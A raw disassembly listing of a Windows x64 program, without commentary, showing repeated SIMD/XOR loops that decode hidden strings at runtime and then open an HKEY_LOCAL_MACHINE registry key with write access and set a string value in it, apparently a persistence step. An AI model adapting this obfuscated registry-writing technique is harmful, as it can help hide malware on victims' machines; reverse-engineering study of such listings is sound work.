shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140012730
cmp r8d, 0x1e
jge 0x140012882
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140012850
movzx eax, word [0x140071188]
mov word [rbp - 0x60], ax
cmp byte [0x140071189], r13b
je 0x1400128a2
mov byte [rbp - 0x60], 0x2d
xor byte [rbp - 0x5f], 0x37
movups xmm0, xmmword [str.enkm]
movaps xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x140071428]
movaps xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x140071438]
movaps xmmword [rsp + 0x70], xmm0
movzx eax, word [0x140071448]
mov word [rbp - 0x80], ax
movzx eax, byte [0x14007144a]
mov byte [rbp - 0x7e], al
mov dword [rsp + 0x20], r10d
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x60]
mov ecx, 0xc
call fcn.140001270
movups xmm1, xmmword [0x1400713e0]
movups xmm0, xmmword [0x1400713d0]
movups xmmword [rsp + 0x60], xmm1
movups xmmword [rsp + 0x50], xmm0
movzx eax, byte [0x140071410]
movups xmm1, xmmword [0x140071400]
movups xmm0, xmmword [0x1400713f0]
mov byte [rbp - 0x70], al
movups xmmword [rbp - 0x80], xmm1
movups xmmword [rsp + 0x70], xmm0
mov r8d, r13d
cmp esi, 2
jl 0x140012a8b
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rbp - 0x60]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x140012980
cmp r8d, 0x41
jge 0x140012ad2
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x41
jl 0x140012aa0
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, [rsp + 0x50]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140012f40
movsd xmm0, qword [str.uXUIOOYOp__B]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x1400714b8]
mov dword [rbp - 0x38], eax
movzx eax, byte [0x1400714bc]
mov byte [rbp - 0x34], al
mov r8d, r13d
cmp esi, 2
jl 0x140012c32
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140082b80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140082bb0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
mov eax, dword [0x140082bf0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.uXUIOOYOp__B]
pxor xmm2, xmm1
movd dword [rbp - 0x40], xmm2
movdqa xmm3, xmmword [0x140082b90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140082bb0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x3c]
pxor xmm2, xmm1
movd dword [rbp - 0x3c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140012c40
lea rcx, [rbp + 0x150]
mov rax, r12
nop dword [rax]
inc rax
cmp byte [rcx + rax], r13b
jne 0x140012c80
inc eax
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x150]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [rbp - 0x40]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x140012f31
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r10d, eax
movups xmm0, xmmword [str.sEJVHeOXJK___c]
movups xmmword [rsp + 0x30], xmm0
movsd xmm1, qword [0x140071200]
movsd qword [rsp + 0x40], xmm1
movzx ecx, word [0x140071208]
mov word [rsp + 0x48], cx
movzx ecx, byte [0x14007120a]
mov byte [rsp + 0x4a], cl
mov r8d, r13d
cmp esi, 2
jl 0x140012e4b
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140012d40
cmp r8d, 0x1b
jge 0x140012e92
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140012e60
movzx eax, word [0x140071188]
mov word [rbp - 0x60], ax
cmp byte [0x140071189], r13b
je 0x140012eb2
mov byte [rbp - 0x60], 0x2d
xor byte [rbp - 0x5f], 0x37
movsd xmm0, qword [str.uXUIOOYOp__B]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x1400714b8]
mov dword [rbp - 0x38], eax
movzx eax, byte [0x1400714bc]
mov byte [rbp - 0x34], al
movups xmm0, xmmword [0x1400713d0]
movaps xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400713e0]
movaps xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400713f0]
movaps xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140071400]
movaps xmmword [rbp - 0x80], xmm1
movzx eax, byte [0x140071410]
mov byte [rbp - 0x70], al
mov dword [rsp + 0x28], r10d
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x60]
mov ecx, 0xc
call fcn.140001270
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140013198
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r10d, eax
movups xmm0, xmmword [0x140071138]
movups xmmword [rsp + 0x30], xmm0
movsd xmm1, qword [0x140071148]
movsd qword [rsp + 0x40], xmm1
mov ecx, dword [0x140071150]
mov dword [rsp + 0x48], ecx
movzx ecx, word [0x140071154]
mov word [rsp + 0x4c], cx
cmp byte [0x140071155], r13b
je 0x140013122
mov r8d, r13d
cmp esi, 2
jl 0x1400130db
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rbp - 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140012fd0
cmp r8d, 0x1e
jge 0x140013122
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x1400130f0
movzx eax, word [0x140071188]
mov word [rbp - 0x60], ax
cmp byte [0x140071189], r13b
je 0x140013142
mov byte [rbp - 0x60], 0x2d
xor byte [rbp - 0x5f], 0x37
movups xmm0, xmmword [0x1400713d0]
movaps xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400713e0]
movaps xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400713f0]
movaps xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140071400]
movaps xmmword [rbp - 0x80], xmm1
movzx eax, byte [0x140071410]
mov byte [rbp - 0x70], al
mov dword [rsp + 0x20], r10d
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x60]
mov ecx, 0xc
call fcn.140001270
movzx eax, word [0x1400713c8]
movups xmm1, xmmword [0x1400713a0]
movups xmm0, xmmword [0x140071390]
mov word [rbp - 0x78], ax
movups xmmword [rsp + 0x60], xmm1
movups xmmword [rsp + 0x50], xmm0
movzx eax, byte [0x1400713ca]
movsd xmm1, qword [0x1400713c0]
movups xmm0, xmmword [0x1400713b0]
mov byte [rbp - 0x76], al
movsd qword [rbp - 0x80], xmm1
movups xmmword [rsp + 0x70], xmm0
mov r8d, r13d
cmp esi, 2
jl 0x14001332b
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rbp - 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140013220
cmp r8d, 0x3b
jge 0x140013372
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3b
jl 0x140013340
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, [rsp + 0x50]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400137ed
movsd xmm0, qword [str.uXUIOOYOp__B]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x1400714b8]
mov dword [rbp - 0x38], eax
movzx eax, byte [0x1400714bc]
mov byte [rbp - 0x34], al
mov r8d, r13d
cmp esi, 2
jl 0x1400134d2
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140082b80]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140082bb0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
mov eax, dword [0x140082bf0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.uXUIOOYOp__B]
pxor xmm2, xmm1
movd dword [rbp - 0x40], xmm2
movdqa xmm3, xmmword [0x140082b90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140082bb0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x3c]
pxor xmm2, xmm1
movd dword [rbp - 0x3c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400134e0
lea rcx, [rbp + 0x150]
mov rax, r12
nop dword [rax]
inc rax
cmp byte [rcx + rax], r13b
jne 0x140013520
inc eax
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x150]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [rbp - 0x40]
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400137de
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r10d, eax
movups xmm0, xmmword [str.sEJVHeOXJK___c]
movups xmmword [rsp + 0x30], xmm0
movsd xmm1, qword [0x140071200]
movsd qword [rsp + 0x40], xmm1
movzx ecx, word [0x140071208]
mov word [rsp + 0x48], cx
movzx ecx, byte [0x14007120a]
mov byte [rsp + 0x4a], cl
mov r8d, r13d
cmp esi, 2
jl 0x1400136eb
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400135e0
cmp r8d, 0x1b
jge 0x140013732
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140013700
movzx eax, word [0x140071188]
mov word [rbp - 0x60], ax
cmp byte [0x140071189], r13b
je 0x140013752
mov byte [rbp - 0x60], 0x2d
xor byte [rbp - 0x5f], 0x37
movsd xmm0, qword [str.uXUIOOYOp__B]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x1400714b8]
mov dword [rbp - 0x38], eax
movzx eax, byte [0x1400714bc]
mov byte [rbp - 0x34], al
movups xmm0, xmmword [0x140071390]
movaps xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x1400713a0]
movaps xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x1400713b0]
movaps xmmword [rsp + 0x70], xmm0
movsd xmm1, qword [0x1400713c0]
movsd qword [rbp - 0x80], xmm1
movzx eax, word [0x1400713c8]
mov word [rbp - 0x78], ax
movzx eax, byte [0x1400713ca]
mov byte [rbp - 0x76], al
mov dword [rsp + 0x28], r10d
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x60]
mov ecx, 0xc
call fcn.140001270
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140013a55
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r10d, eax
movups xmm0, xmmword [0x140071138]
movups xmmword [rsp + 0x30], xmm0
movsd xmm1, qword [0x140071148]
movsd qword [rsp + 0x40], xmm1
mov ecx, dword [0x140071150]
mov dword [rsp + 0x48], ecx
movzx ecx, word [0x140071154]
mov word [rsp + 0x4c], cx
cmp byte [0x140071155], r13b
je 0x1400139d2
mov r8d, r13d
cmp esi, 2
jl 0x14001398b
movdqa xmm5, xmmword [0x140082b80]
movdqa xmm4, xmmword [0x140082c10]
movd xmm6, edi
movdqa xmm7, xmmword [0x140082bb0]
movd xmm8, r14d
movdqa xmm0, xmmword [0x140082bf0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x34]
mov edx, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140082bd0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140013880
cmp r8d, 0x1e
jge 0x1400139d2
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x1400139a0
movzx eax, word [0x140071188]
mov word [rbp - 0x60], ax
cmp byte [0x140071189], r13b
je 0x1400139f2
mov byte [rbp - 0x60], 0x2d
